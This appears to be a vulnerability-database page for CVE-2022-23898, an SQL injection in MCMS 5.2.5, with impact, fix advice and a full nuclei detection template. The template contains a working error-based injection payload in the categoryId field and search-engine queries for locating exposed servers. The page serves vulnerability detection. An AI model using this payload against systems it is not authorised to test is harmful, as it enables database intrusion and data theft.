Browse / CVEs / CVE-2022-23898
CVE-2022-23898· mingsoft / mcms· CWE-89
MCMS 5.2.5 - SQL Injection
MCMS 5.2.5 contains a SQL injection vulnerability via the categoryId parameter in the file IContentDao.xml. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
Fix
Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in MCMS 5.2.5.
How to confirm it
Send: POST /cms/content/list
Positive when: contains "c8c605999f3d8352d7bb792cf3fdb25"Run it with nuclei: nuclei -id CVE-2022-23898 -u <target>
The full check
id: CVE-2022-23898
info:
name: MCMS 5.2.5 - SQL Injection
author: Co5mos
severity: critical
description: |
MCMS 5.2.5 contains a SQL injection vulnerability via the categoryId parameter in the file IContentDao.xml. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in MCMS 5.2.5.
reference:
- https://github.com/ming-soft/MCMS/issues/62
- https://github.com/advisories/GHSA-p94q-9q2m-pfh2
- https://nvd.nist.gov/vuln/detail/CVE-2022-23898
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-23898
cwe-id: CWE-89
epss-score: 0.07734
epss-percentile: 0.94671
cpe: cpe:2.3:a:mingsoft:mcms:5.2.5:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: mingsoft
product: mcms
shodan-query:
- http.favicon.hash:1464851260
- http.favicon.hash:"1464851260"
fofa-query: icon_hash="1464851260"
tags: cve,cve2022,sqli,mcms,mingsoft,vuln
variables:
num: "999999999"
http:
- raw:
- |
POST /cms/content/list HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
categoryId=1' and updatexml(1,concat(0x7e,md5({{num}}),0x7e),1) and 'zzz'='zzz
matchers:
- type: word
part: body
words:
- 'c8c605999f3d8352d7bb792cf3fdb25'References
- https://github.com/ming-soft/MCMS/issues/62
- https://github.com/advisories/GHSA-p94q-9q2m-pfh2
- https://nvd.nist.gov/vuln/detail/CVE-2022-23898
Use this check only on systems you are authorised to test. Where the data comes from